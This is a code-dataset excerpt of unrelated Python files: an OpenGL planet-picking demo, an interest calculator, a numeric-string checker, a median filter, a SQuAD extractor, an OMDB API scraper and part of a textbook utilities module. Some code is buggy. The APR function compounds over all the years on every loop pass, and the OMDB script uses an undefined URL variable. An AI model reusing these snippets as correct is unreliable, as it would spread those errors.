SUN:\r\n print (\"You clicked on the Sun!\")\r\n elif id == MERCURY:\r\n print (\"You clicked on Mercury!\")\r\n elif id == VENUS:\r\n print (\"You clicked on Venus!\")\r\n elif id == EARTH:\r\n print (\"You clicked on Earth!\")\r\n elif id == MARS:\r\n print (\"You clicked on Mars!\")\r\n else:\r\n print (\"Nothing was clicked on!\")\r\n \r\n\r\n#############################\r\n# Process the selection, which is triggered by a right mouse\r\n# click at (xPos, yPos).\r\n\r\nBUFFER_LENGTH = 64\r\n# Space for selection buffer\r\nselectBuff = (GLuint * BUFFER_LENGTH)()\r\n\r\ndef ProcessSelection(xPos, yPos):\r\n\r\n # Hit counter and viewport storage\r\n viewport = (GLint * 4)()\r\n\r\n # Setup selection buffer\r\n glSelectBuffer(BUFFER_LENGTH, selectBuff)\r\n\r\n # Get the viewport\r\n glGetIntegerv(GL_VIEWPORT, viewport)\r\n\r\n # Switch to projection and save the matrix\r\n glMatrixMode(GL_PROJECTION)\r\n glPushMatrix()\r\n\r\n # Change render mode\r\n glRenderMode(GL_SELECT)\r\n\r\n # Establish new clipping volume to be unit cube around\r\n # mouse cursor point (xPos, yPos) and extending two pixels\r\n # in the vertical and horizontal direction\r\n glLoadIdentity()\r\n gluPickMatrix(xPos, viewport[3] - yPos + viewport[1], 2,2, viewport)\r\n\r\n # Apply perspective matrix \r\n gluPerspective(45.0, fAspect, 1.0, 425.0)\r\n\r\n # Draw the scene\r\n DrawGLScene()\r\n\r\n # Collect the hits\r\n hits = glRenderMode(GL_RENDER)\r\n\r\n # If a single hit occurred, display the info.\r\n if(hits):\r\n ProcessPlanet(selectBuff[3])\r\n else:\r\n print (\"Nothing was clicked on!\")\r\n \r\n # Restore the projection matrix\r\n glMatrixMode(GL_PROJECTION)\r\n glPopMatrix()\r\n\r\n # Go back to modelview for normal rendering\r\n glMatrixMode(GL_MODELVIEW)\r\n\r\n\r\n\r\ndef InitGL(Width, Height):\r\n \r\n # Lighting values\r\n dimLight = lightArrayType(0.1, 0.1, 0.1, 1.0)\r\n sourceLight = lightArrayType(0.65, 0.65, 0.65, 1.0)\r\n lightPos = (GLfloat * 4)(0.0, 0.0, 0.0, 1.0)\r\n\r\n # Light values and coordinates\r\n glEnable(GL_DEPTH_TEST)\t# Hidden surface removal\r\n glFrontFace(GL_CCW)\t\t# Counter clock-wise polygons face out\r\n glEnable(GL_CULL_FACE)\t\t# Do not calculate insides\r\n\r\n # Enable lighting\r\n glEnable(GL_LIGHTING)\r\n\r\n # Setup and enable light 0\r\n glLightfv(GL_LIGHT0,GL_AMBIENT,dimLight)\r\n glLightfv(GL_LIGHT0,GL_DIFFUSE,sourceLight)\r\n glLightfv(GL_LIGHT0,GL_POSITION,lightPos)\r\n glEnable(GL_LIGHT0)\r\n\r\n # Enable color tracking\r\n glEnable(GL_COLOR_MATERIAL)\r\n \r\n # Set Material properties to follow glColor values\r\n glColorMaterial(GL_FRONT, GL_AMBIENT_AND_DIFFUSE)\r\n\r\n # Gray background\r\n glClearColor(0.60, 0.60, 0.60, 1.0 )\r\n \r\n # Called to draw scene\r\ndef DrawGLScene():\r\n # Clear the window with current clearing color\r\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\r\n \r\n \r\n # Save the matrix state and do the rotations\r\n glMatrixMode(GL_MODELVIEW)\r\n glPushMatrix()\r\n\r\n # Translate the whole scene out and into view\t\r\n glTranslatef(0.0, 0.0, -300.0)\t\r\n\r\n # Initialize the names stack\r\n glInitNames()\r\n glPushName(0)\r\n\r\n \r\n # Name and draw the Sun\r\n glColor3f(1.0, 1.0, 0.0)\r\n glLoadName(SUN)\r\n DrawSphere(15.0)\r\n\r\n # Draw Mercury\r\n glColor3f(0.5, 0.0, 0.0)\r\n glPushMatrix()\r\n glTranslatef(24.0, 0.0, 0.0)\r\n glLoadName(MERCURY)\r\n DrawSphere(2.0)\r\n glPopMatrix()\r\n\r\n # Draw Venus\r\n glColor3f(0.5, 0.5, 1.0)\r\n glPushMatrix()\r\n glTranslatef(60.0, 0.0, 0.0)\r\n glLoadName(VENUS)\r\n DrawSphere(4.0)\r\n glPopMatrix()\r\n\r\n # Draw the Earth\r\n glColor3f(0.0, 0.0, 1.0)\r\n glPushMatrix()\r\n glTranslatef(100.0,0.0,0.0)\r\n glLoadName(EARTH)\r\n DrawSphere(8.0)\r\n glPopMatrix()\r\n\r\n # Draw Mars\r\n glColor3f(1.0, 0.0, 0.0)\r\n glPushMatrix()\r\n glTranslatef(150.0, 0.0, 0.0)\r\n glLoadName(MARS)\r\n DrawSphere(4.0)\r\n glPopMatrix()\r\n\r\n\r\n # Restore the matrix state\r\n glPopMatrix()\t# Modelview matrix\r\n\r\n\r\n glutSwapBuffers() \r\n\r\n #############################\r\n # Set viewport and projection\r\ndef ReSizeGLScene(w, h):\r\n # Prevent a divide by zero\r\n if h == 0:\r\n h = 1\r\n \r\n # Set Viewport to window dimensions\r\n glViewport(0, 0, w, h)\r\n \r\n global fAspect\r\n fAspect = float(w) / float(h)\r\n \r\n # Reset the coordinate system before modifying\r\n glMatrixMode(GL_PROJECTION)\r\n glLoadIdentity()\r\n\r\n # Set the clipping volume\r\n gluPerspective(45.0, fAspect, 1.0, 425.0)\r\n\r\n # Reset Model view matrix stack\r\n glMatrixMode(GL_MODELVIEW)\r\n glLoadIdentity()\r\n\r\n\r\ndef mouse(button, state, x, y):\r\n #print(button, state, x, y)\r\n if button == GLUT_LEFT_BUTTON and state == GLUT_DOWN:\r\n print ('left click ', x, y)\r\n ProcessSelection(x, y)\r\n \r\ndef keyPressed(key, x, y):\r\n if key == ESCAPE:\r\n glutDestroyWindow(window)\r\n sys.exit()\r\n\r\n\r\n# Main program entry point\r\nif __name__ == '__main__':\r\n\r\n glutInit()\r\n glutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE | GLUT_ALPHA | GLUT_DEPTH)\r\n glutInitWindowSize(640, 480)\r\n glutInitWindowPosition(0, 0)\r\n window = glutCreateWindow(\"Pick a Planet\")\r\n \r\n glutDisplayFunc(DrawGLScene)\r\n\r\n # Uncomment this line to get full screen.\r\n #glutFullScreen()\r\n \r\n \r\n #glutIdleFunc(DrawGLScene)\r\n #glutTimerFunc( int(1.0/60.0), update, 0)\r\n \r\n glutReshapeFunc(ReSizeGLScene)\r\n glutKeyboardFunc(keyPressed)\r\n glutMouseFunc(mouse)\r\n #glutSpecialFunc (specialkeyPressed);\r\n\r\n # Initialize our window. \r\n InitGL(640, 480)\r\n \r\n # Start Event Processing Engine\t\r\n glutMainLoop()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"chapt12/planets.py","file_name":"planets.py","file_ext":"py","file_size_in_byte":6822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"438946938","text":"def calculate_apr(principal, interest_rate , years ):\n \"\"\"This function takes on three paramaters since its the the main function\"\"\"\n x= 0\n \"\"\"Made a varible to equal to zero because the parameters need to be greater than 0\"\"\"\n if principal <= x or interest_rate <= x or years <= x:\n return False\n \"\"\"I made this if statement because it would return false when parameters are less than 0\"\"\"\n while x < years:\n principal = float(principal)*(1+ float(interest_rate))**float(years)\n x=x+1\n return principal\n \"\"\"This while loop goes after because we need to check if its negative then if its not it would loop\"\"\"\n \"\"\"x is less than years because once the person gets more money as they get older\"\"\"\nprint(calculate_apr(principal=200, interest_rate=0.04,years=65))\n\"\"\"This print statement is here because it calls the function and prints out the values that you would input\"\"\"\n\n","sub_path":"investment.py","file_name":"investment.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"516211163","text":"# -*- coding:utf-8 -*-\nclass Solution:\n # s字符串\n def isNumeric(self, s):\n # write code here\n if not s:\n return False\n ## A[.[B]][E|eC]\n ## A有数字则为true\n a_flag,sa= self.scanInt(s)\n flag = a_flag\n\n if len(sa)!=0:\n if sa[0]=='.':\n #A没数字,B有\n #A有,B没有\n #都有\n b_flag,sb = self.scanUnsignedInt(sa[1:])\n flag = a_flag or b_flag\n else:\n sb = sa\n else:\n sb = sa\n\n\n if len(sb)!=0:\n if sb[0] =='e' or sb[0] =='E':\n c_flag, sc = self.scanInt(sb[1:])\n flag = flag and c_flag\n else:\n sc = sb\n else:\n sc = sb\n ##必须走完才可以\n return flag and len(sc)==0\n\n def scanUnsignedInt(self,s):\n i=0\n while(i<len(s) and s[i]>='0' and s[i]<='9'):\n i +=1\n return i>0,s[i:]\n\n def scanInt(self,s):\n if len(s)==0:\n return self.scanUnsignedInt(s)\n if s[0]=='+' or s[0] =='-':\n return self.scanUnsignedInt(s[1:])\n else:\n return self.scanUnsignedInt(s)\n\nclass Solution1:\n # s字符串\n def isNumeric(self, s):\n # write code here\n try:\n ss = float(s)\n return True\n except:\n return False\n\nif __name__ == \"__main__\":\n solution1 = Solution()\n a = solution1.isNumeric('1a3.14')\n # a = solution1.isNumeric(\"123.45e+6\")\n print(a)\n","sub_path":"py-project/Solution20.py","file_name":"Solution20.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"613904073","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef medianFilter2D(img , ksize=3):\n r,c = img.shape\n k = ksize//2\n dst = img.copy()\n for i in range(k,r-1-k):\n for j in range(k,c-1-k):\n roi = img[i-k:i+k+1 , j-k:j+k+1].copy()\n roi = list(roi.flat)\n roi.sort()\n dst[i,j] = roi[(ksize**2)//2]\n return dst\n\nim = cv2.imread('test-images/saltpepper.png')\ngray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n\ndst = medianFilter2D(gray,5)\n\n\ncv2.imshow(\"original\" , gray)\ncv2.imshow(\"median-filter\" , dst)\n\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","sub_path":"medianFilter.py","file_name":"medianFilter.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"276737710","text":"# coding=utf-8\r\n# Copyright 2018 The Google AI Language Team Authors.\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\"\"\"Run BERT on SQuAD 1.1 and SQuAD 2.0.\"\"\"\r\n\r\nfrom __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nimport collections\r\nimport json\r\nimport math\r\nimport os\r\nimport random\r\n#import modeling\r\n#import optimization\r\n#import tokenization\r\nimport six\r\n#import tensorflow as tf\r\n#import encoder\r\n\r\nimport argparse\r\nimport re\r\nimport sys\r\n\r\nfrom progress.bar import Bar as Bar\r\nimport os\r\nimport torch\r\nfrom torch.utils.data import Dataset\r\nfrom torch.utils.data import DataLoader\r\n\r\n\r\nparser = argparse.ArgumentParser(description='SQuAD machine reading comprehension training ...')\r\nparser.add_argument('--output_file', default='/tmp/', type=str, help='output model')\r\nparser.add_argument('--input_file', default='train-v2.0.json', type=str, help='SQuAD json for training. E.g., train-v1.1.json')\r\nargs = parser.parse_args()\r\n\r\nclass SquadExample(object):\r\n \"\"\"A single training/test example for simple sequence classification.\r\n For examples without an answer, the start and end position are -1.\r\n \"\"\"\r\n def __init__(self,\r\n doc_text,\r\n question_answers):\r\n self.doc_text = doc_text\r\n self.question_answers = question_answers\r\n\r\n def toStr(self):\r\n return self.doc_text + ' '.join([' [Q:] ' + qa[0] + ' [A:] ' + qa[1] for qa in self.question_answers])\r\n\r\n\r\ndef read_squad_examples(input_file, skip_unk = 0):\r\n \"\"\"Read a SQuAD json file into a list of SquadExample.\"\"\"\r\n #with tf.gfile.Open(input_file, \"r\") as reader:\r\n with open(input_file, \"r\") as reader:\r\n input_data = json.load(reader)[\"data\"]\r\n\r\n examples = []\r\n for entry in input_data:\r\n for paragraph in entry[\"paragraphs\"]:\r\n paragraph_text = paragraph[\"context\"]\r\n qas = []\r\n for qa in paragraph[\"qas\"]:\r\n qas_id = qa[\"id\"]\r\n question_text = qa[\"question\"]\r\n orig_answer_text = None\r\n is_impossible = False\r\n if True: # is_training:\r\n if True: #args.version_2_with_negative:\r\n is_impossible = qa[\"is_impossible\"]\r\n\r\n if not is_impossible:\r\n answer = qa[\"answers\"][0]\r\n orig_answer_text = answer[\"text\"].strip()\r\n else:\r\n orig_answer_text = \"\"\r\n\r\n # skip the unk examples.\r\n if is_impossible and skip_unk > 0:\r\n \tcontinue\r\n\r\n qas.append((question_text, orig_answer_text))\r\n\r\n example = SquadExample(doc_text=paragraph_text, question_answers=qas)\r\n examples.append(example)\r\n return examples\r\n\r\ndef write_squad_fulltext(all_examples, output_file):\r\n \"\"\"Write final predictions to the json file and log-odds of null if needed.\"\"\"\r\n with open(output_file, 'w') as writer:\r\n for example in all_examples:\r\n writer.write(example.toStr()+'\\n')\r\n\r\ndef main():\r\n input_examples = read_squad_examples(input_file=args.input_file, skip_unk=1)\r\n write_squad_fulltext(input_examples, args.output_file)\r\n\r\nif __name__ == \"__main__\":\r\n main()","sub_path":"python/text_corpus/squad_dataset.py","file_name":"squad_dataset.py","file_ext":"py","file_size_in_byte":3604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"202187019","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 26 15:31:47 2018\n\n@author: Rebecca\n\"\"\"\n\nimport pandas as pd\nimport json\nimport requests\nimport time\nimport os\n\n#This code will use names/years of movies in 2017-mid 2018\n#to pull from the themovies db API. \n\n#Change last line in file to where you want the output file to be saved.\n\ntwo_up = os.path.abspath(os.path.join(os.getcwd(),\"../..\"))\npath = two_up + '\\data\\\\2017_movies_omdb.csv'\nmovies = pd.read_csv(path, encoding='latin1')\n\n#Building our API URL. \n#Get your own API Key from the OMDB API website\n#and replace the alpha-numeric key below with your own.\n#Based on conversations with owner of API, the URL below\n#often times out. The direct URL to his server is required\n#for this to run without errors. He asked that I not share that\n#URL. As a result, what I provide here will likely time out for you.\nurl = 'http://www.omdbapi.com/?t='\n#url_p1 = 'http://---.--.---.--/?t=' #can't provide his direct server URL address\nurl_p2 = '&y='\napi_key = '&apikey=[mykey]'\n\n#Start a count to keep track of where we are (not necessary).\n#Create an empty list called \"appended_data\".\ncount =0\nappend_data = []\n\n#Start looping through \"imdb_ids\" in our dataset\n#and create a new URL to feed into API.\n#Store the response into variable and append data to list.\nfor item in movies['movie']:#[350:]:\n\n response = requests.get(url_p1+item.replace(\" \", \"+\")+ \\\n url_p2 + str(pd.to_datetime(movies['date'][count]).year)+\\\n api_key)\n print(count, response)\n data = response.json()\n \n if data['Response']=='False':\n response = requests.get(url_p1+item.replace(\" \", \"+\")+ \\\n url_p2 + str(pd.to_datetime(movies['date'][count]).year-1)+\\\n api_key)\n data = response.json()\n \n append_data.append(data)\n count+=1\n\n#If API doesn't time out, and code finishes, this will give us a dataframe with all the data pulled.\nomdb_pull_newMovies17 = pd.DataFrame(append_data)\n#If you want the dataframe spit out into CSV file, use code below\n#and put in your destination.\nomdb_pull_newMovies17.to_csv(r'c:\\users\\rebecca\\desktop\\omdb_pull_newMovies17.csv')\n","sub_path":"codes/API_pulls/pull_OMDB_API_newMovies.py","file_name":"pull_OMDB_API_newMovies.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"214860863","text":"\"\"\"Utilities module for the textbook \"What Can Be Computed?\" (WCBC)\n\nThis \"utils\" module provides various supporting functions for use with\nthe programs provided is online materials for the textbook \"What Can\nBe Computed?\" (WCBC). (For an overview of the entire collection of\nprograms, see the file README.txt in this directory.) \n\nFunctionality provided by the utils module includes: reading and\nwriting text files, extracting names of functions from Python files\n(useful for universal computation simulations), encoding multiple\nstrings as single strings and vice versa, creating random strings of\nvarious kinds, manipulating alphabets such as the ASCII alphabet,\nexecuting code with a timeout (in case it runs for a long time or\nforever), formatting sets of strings, manipulating solutions of\nnondeterministic programs, an exception class specific to WCBC,\nfacilities for testing.\n\"\"\"\n\n# The following line improves compatibility with Python version 2.x\nfrom __future__ import print_function\n\n# Check that the version of Python being used is sufficiently recent.\nimport sys\ndef checkPythonVersion(shouldExit = True):\n \"\"\"Check that the version of Python is recent enough (>=2.7).\n\n If the version is too old, exit Python immediately unless instructed otherwise.\n\n Args:\n \n shouldExit (bool): Indicates the action that should be taken\n if the version of Python is too old. If True, exit\n immediately. Otherwise, print a warning message but then\n return.\n \"\"\"\n if sys.version_info < (2, 7):\n print(\"Sorry, but there's a problem: you need Python version at least 2.7. Exiting now.\")\n if shouldExit:\n sys.exit()\n\ncheckPythonVersion()\n\n# Import all the modules we need.\nimport re, sys, threading, random, time, os, os.path\n\n# Importing the queue module is a little tricky, since the name was\n# changed in version 3. The following code takes care of this issue.\nif sys.version_info < (3, 0):\n import Queue\n queue = Queue\nelse:\n import queue\n\nhaltComputations = threading.Event()\n\"\"\"An event that signals long-running computations to exit.\"\"\"\n\naRandom = random.Random()\n\"\"\"A random number generator that can be used by all functions that\nwant one.\n\"\"\"\n\ninf = float('inf')\n\"\"\"A value representing positive infinity.\n\nIn version >= 3.5 of Python, math.inf would be more elegant here, but\nit's better to use an idiom that also works with earlier versions of\nPython.\n\n\"\"\"\n\ndef extractMainFunctionName(progString):\n \"\"\"Extract the name of the main function in a Python program.\n\n Given a Python program as defined in the book, return a string\n containing the name of the \"main\" function: that is, the first\n Python function defined within progString. This is done by\n searching for the first line that begins with the characters \"def\"\n followed by whitespace, then returning the identifier immediately\n following that whitespace. Clearly, this is not infallible, but it\n works for all of the example programs provided with the book\n materials. If desired, one could use Python parsing tools to\n locate the first defined function with perfect reliability. But\n that approach is more complex than we need for the illustrative\n examples provided with the book.\n\n Args:\n \n progString (str): string containing the Python program to be\n examined.\n\n Returns: \n\n str: The name of the main function if one could be found,\n otherwise the empty string.\n\n \"\"\"\n \n # This is the regular expression that searches for the main\n # function using the heuristic described above.\n mainFunctionRegex = r'^def\\s+([a-zA-Z0-9_]*)'\n matchResult = re.search(mainFunctionRegex, progString, re.MULTILINE )\n if matchResult:\n return matchResult.group(1)\n else:\n # Return empty string if we couldn't find any function\n # definitions. This should never happen when processing a\n # legitimate SISO program.\n return ''\n\ndef extractMainFunction(progString, localVars):\n \"\"\"Given a Python program as defined in the book, return a reference\n to the \"main\" function: that is, the first Python function defined\n within progString. The localVars parameter should be \n\n Args:\n \n progString (str): string containing the Python program to be\n examined.\n\n localVars (dict): the \"locals()\" dictionary of the calling\n function, as explained further in the source code comment.\n\n Returns: \n\n fn: A reference to the main function if one could be\n found. Otherwise a WcbcException is raised.\n\n \"\"\"\n\n functionName = extractMainFunctionName(progString)\n # Python has a standard built-in dictionary called \"locals()\"\n # which contains, among other things, all the functions that are\n # currently defined. We can get a reference to the desired\n # function by looking it up in this dictionary, using the name of\n # the function as the key.\n if functionName in localVars:\n progFunction = localVars[functionName]\n else:\n raise WcbcException('function ' + functionName + \\\n ' not defined, so cannot extract or simulate it')\n return progFunction\n\n\ndef readFile(fileName):\n \"\"\"Read a file, returning its contents as a single string.\n\n Args:\n \n fileName (str): The name of the file to be read.\n\n Returns: \n\n str: The contents of the file.\n \"\"\"\n\n fileContents = ''\n with open(fileName) as inputFile:\n fileContents = inputFile.read()\n return fileContents\n\n# Define a very short convenient alias for the readFile function\nrf = readFile\n\n\ndef writeFile(fileName, fileContents):\n \"\"\"Write a file, overwriting any existing content with the given content.\n\n Args:\n \n fileName (str): The name of the file to be written or overwritten.\n\n fileContents (str): The contents of the file to be written,\n stored as a single string that may contain newlines.\n \"\"\"\n with open(fileName, 'w') as outputFile:\n outputFile.write(fileContents)\n\n\ndef ESS(inString1, inString2):\n \"\"\"Encode two strings as a single string.\n\n ESS is an acronym for Encode as Single String. This function uses\n the encoding method suggested in the textbook: the encoding\n consists of the length of the first string, followed by a space\n character, followed by the two strings concatenated together.\n\n Args:\n \n inString1 (str): The first string to be encoded\n\n inString2 (str): The second string to be encoded\n\n Returns: \n\n str: A single string encoding inString1 and inString2\n\n Example:\n \n >>> ESS('abc', 'defg')\n '3 abcdefg'\n \"\"\"\n return str(len(inString1)) + ' ' + inString1 + inString2\n\ndef DESS(inString):\n \"\"\"Decode a single string into two strings (inverse of ESS).\n\n DESS is an acronym for DEcode from Single String. This function\n uses the method suggested in the textbook for converting a single\n string that encodes two strings back into the original two\n strings. DESS is the inverse of the function ESS.\n\n Args:\n \n inString (str): The string to be decoded\n\n Returns: \n\n (str, str): A 2-tuple containing the two strings they were decoded from the input.\n\n Example:\n \n >>> DESS('3 abcdefg')\n ('abc', 'defg')\n \n \"\"\"\n # split on the first space character\n (theLength, remainder) = inString.split(' ', 1)\n inString1 = remainder[:int(theLength)]\n inString2 = remainder[int(theLength):]\n return (inString1, inString2)\n\n\ndef randomAlphanumericString(length = None, maxLength = 20):\n \"\"\"Generate a random alphanumeric string.\n\n This function generates and returns a random alphanumeric string,\n where the length of the string can be specified or can also be\n selected randomly. The individual characters in the string are\n selected uniformly at random.\n\n Args:\n \n length (int): The desired length of the string. Defaults to\n None. If None, the length of the string will be chosen\n uniformly at random between 0 and maxLength-1.\n\n maxLength: When the length of the string is chosen at random,\n the maximum length is maxLength-1. This parameter is only\n relevant if length is None.\n\n Returns: \n\n str: The randomly generated alphanumeric string.\n\n \"\"\"\n \n characters = 'abcdefghijklmnopqstuvwxyzABCDEFGHIJKLMNOPQSTUVWXYZ0123456789'\n if length == None:\n length = aRandom.randint(0,maxLength)\n chosenCharacters = []\n for i in range(length):\n randomCharacter = aRandom.choice(characters)\n chosenCharacters.append(randomCharacter)\n return ''.join(chosenCharacters)\n\n\n\ndef randomDigitalString(length = None, maxLength = 20):\n \"\"\"Generate a random string of numeric digits.\n\n This function generates and returns a random string of numeric\n digits, where the length of the string can be specified or can\n also be selected randomly. The individual digits in the string are\n selected uniformly at random, except that the first digit cannot\n be 0.\n\n Args:\n \n length (int): The desired length of the string. Defaults to\n None. If None, the length of the string will be chosen\n uniformly at random between 0 and maxLength-1.\n\n maxLength: When the length of the string is chosen at random,\n the maximum length is maxLength-1. This parameter is only\n relevant if length is None.\n\n Returns: \n\n str: The randomly generated string of digits.\n\n \"\"\"\n\n characters = '0123456789'\n if length == None:\n length = aRandom.randint(0,maxLength)\n chosenCharacters = []\n for i in range(length):\n randomCharacter = aRandom.choice(characters)\n # first character must be nonzero\n while i==0 and randomCharacter=='0':\n randomCharacter = aRandom.choice(characters)\n chosenCharacters.append(randomCharacter)\n return ''.join(chosenCharacters)\n\ndef randomString(alphabet, length = None, maxLength = 20):\n \"\"\"Generate a random string of characters from a given up a bit.\n\n This function generates and returns a random string of characters\n from a given alphabet, where the length of the string can be\n specified or can also be selected randomly. The individual\n characters in the string are selected uniformly at random.\n\n Args:\n\n alphabet (list of characters): A list of characters in the\n alphabet to be used.\n \n length (int): The desired length of the string. Defaults to\n None. If None, the length of the string will be chosen\n uniformly at random between 0 and maxLength-1.\n\n maxLength: When the length of the string is chosen at random,\n the maximum length is maxLength-1. This parameter is only\n relevant if length is None.\n\n Returns: \n\n str: The randomly generated string.\n\n \"\"\"\n\n characters = alphabet\n if length == None:\n length = aRandom.randint(0,maxLength)\n chosenCharacters = []\n for i in range(length):\n randomCharacter = aRandom.choice(characters)\n chosenCharacters.append(randomCharacter)\n return ''.join(chosenCharacters)\n\n\ndef asciiAlphabetAsList():\n \"\"\"Return a list consisting of the 128 ASCII characters\"\"\"\n \n asciiAlphabet = []\n for i in range(128):\n asciiAlphabet.append(chr(i))\n return asciiAlphabet\n\nASCII_ALPHABET = asciiAlphabetAsList()\n\"\"\"A list consisting of the 128 ASCII characters\"\"\"\n\ndef geneticAlphabetAsList():\n \"\"\"Return a list consisting of the 4 characters 'A', 'C', 'G', 'T'\"\"\"\n return ['A', 'C', 'G', 'T']\n\n\ndef boolToYes(b):\n \"\"\"Convert a Boolean input into 'yes' or 'no'\n\n Args:\n\n b (bool): The Boolean value to be converted\n \n Returns: \n\n str: 'yes' if b is True, and 'no' otherwise.\n\n \"\"\"\n if b:\n return 'yes'\n else:\n return 'no'\n\ndef nextShortLex(s, alphabet):\n \"\"\"Return the next string in shortlex ordering on a given alphabet.\n\n Shortlex is an ordering that lists strings according to length,\n with strings of the same length being ordered\n lexicographically. This function takes a string on some particular\n alphabet as input, and returns the next string on that alphabet in\n the shortlex ordering.\n\n Args:\n\n s (str): The string whose successor will be returned.\n\n alphabet (list of characters): A list of characters in the\n alphabet to be used.\n \n Returns: \n\n str: The successor of s in the shortlex ordering, assuming the\n given alphabet.\n\n Example:\n \n >>> nextShortLex('aab', ['a', 'b', 'c'])\n 'aac'\n >>> nextShortLex('ccc', ['a', 'b', 'c'])\n 'aaaa'\n \"\"\"\n\n first = alphabet[0]\n last = alphabet[-1]\n if s=='': return str(first)\n chars = [c for c in s]\n L = len(chars)\n # The Boolean variable overflow will indicate whether or not this\n # is the last string of the current length (and hence whether we\n # need to \"overflow\" to the first string with length one greater)\n overflow = True\n for i in range(L-1,-1,-1):\n currentChar = chars[i]\n if currentChar != last:\n overflow = False\n break\n # Either we overflowed (and i=0), or we didn't overflow, in which\n # case the value of i is now the index of the rightmost character\n # that can be incremented. Let's remember all the needed\n # information about that character.\n incrementIndex = i\n incrementChar = currentChar\n alphabetIndex = alphabet.index(currentChar)\n \n if overflow:\n # Treat overflow as a special case and return a string of\n # length L+1 consisting entirely of the first character in the\n # alphabet.\n return first*(L+1)\n else:\n # We didn't overflow, so manipulate the array of characters to\n # produce the next string in lexicographic order. The\n # rightmost character that can be incremented gets\n # incremented...\n chars[incrementIndex] = alphabet[alphabetIndex+1]\n # ...then all the characters to the right of that roll over to\n # the first character in the alphabet.\n for j in range(incrementIndex+1,L):\n chars[j]=first\n return ''.join(chars)\n\n\n\ndef nextASCII(s):\n \"\"\"Return the successor of ASCII string s in the shortlex ordering.\n\n For a detailed explanation, see the documentation of\n nextShortLex(). This function is the same as nextShortLex(), for\n the special case where the alphabet is the ASCII alphabet.\n\n Args:\n\n s (str): The ASCII string whose successor will be returned.\n\n Returns: \n\n str: The successor of ASCII string s in the shortlex ordering.\n\n \"\"\"\n return nextShortLex(s, ASCII_ALPHABET)\n\n\n# Enter supposedly infinite loop. In fact, we exit if the event\n# haltComputations is signalled, or if the fixed timeout expires.\n# This helps to prevent problems with automated testing of code that\n# enters infinite loops.\ndef loop():\n \"\"\"Enter an infinite loop, but with features that facilitate testing.\n\n This function supposedly enters an infinite loop. The intention is\n that it should be used for simulating infinite loops, but in fact\n it is more sophisticated. The function waits on the\n utils.haltComputations event, and exits immediately if that event\n is signaled. This facilitates testing of code that deliberately\n enters infinite loops. In addition, this function times out after\n 60 seconds. This prevents background threads looping indefinitely.\n\n \"\"\"\n \n timeout = 60 # one minute should be plenty\n haltComputations.wait(timeout)\n # reset the haltComputations event\n haltComputations.clear()\n\n\ndef invokeAndStoreResult(fn, q, done, *inStrings):\n \"\"\"Invoke a function and store its return value in a given queue.\n\n Mostly intended as a private function used by\n utils.runWithTimeout(). The invokeAndStoreResult() function\n invokes a function (which itself is passed in as a parameter) with\n certain arguments (also passed in as parameters), stores the\n result in a queue data structure, then signals an event to declare\n that it is finished. This makes it possible for other threads to\n be aware of when the function has completed and for those threads\n to obtain its return value.\n\n Args:\n\n fn (a function): The function that will be invoked.\n\n q (a Python queue.Queue): A queue that will be used for storing the\n return value. A queue is used because Python queues happen\n to behave well in multithreaded environments. In fact, at\n most one item will be stored in this queue.\n\n done (a Python threading.Event): An event that will be\n signaled when fn has returned.\n\n *inStrings: A variable number of arguments that will be passed\n on to fn.\n\n \"\"\"\n ret = fn(*inStrings)\n q.put(ret)\n done.set()\n \ndef runWithTimeout(timeout, fn, *inStrings):\n \"\"\"Invoke a function with a timeout.\n\n This invokes a function (which itself is passed in as a parameter)\n with certain arguments (also passed in as parameters). If the\n function completes within the given timeout, its return value is\n returned. Otherwise, None is returned.\n\n Args:\n\n timeout (float): The number of seconds before the function\n invocation times out. If None, this is set to a standard\n value for running unit tests.\n\n fn (a function): The function that will be invoked.\n\n *inStrings: A variable number of arguments that will be passed\n on to fn.\n\n Returns: \n\n object: None if fn times out, otherwise the return value of fn.\n\n \"\"\"\n \n if timeout == None:\n timeout = TEST_TIMEOUT\n\n # a queue for storing the return value of fn \n q = queue.Queue()\n # an event for signaling when fn has completed\n done = threading.Event()\n\n # create and start a separate thread in which to invoke the\n # function\n t = threading.Thread(target=invokeAndStoreResult, args=(fn, q, done) + inStrings)\n t.start()\n\n # wait for either the function to complete, or the duration of the\n # timeout, whichever is earlier\n done.wait(timeout)\n\n # If it's a long-running computation that knows about the\n # haltComputations event, tell it to stop now.\n haltComputations.set()\n\n # Reset for future computations\n haltComputations.clear()\n\n # if the queue is empty, the function did not complete, so return\n # None\n if q.empty():\n retVal = None\n else:\n retVal = q.get()\n\n return retVal\n\n \n\ndef formatASet(theSet):\n \"\"\"Format a set of strings as a string.\n\n The given set is returned enclosed by braces and with elements\n separated by commas.\n\n Args:\n\n theSet (set of str): The set to be formatted.\n\n Returns: \n\n str: A string representing theSet, enclosed by braces and with\n elements separated by commas.\n\n Example:\n >>> 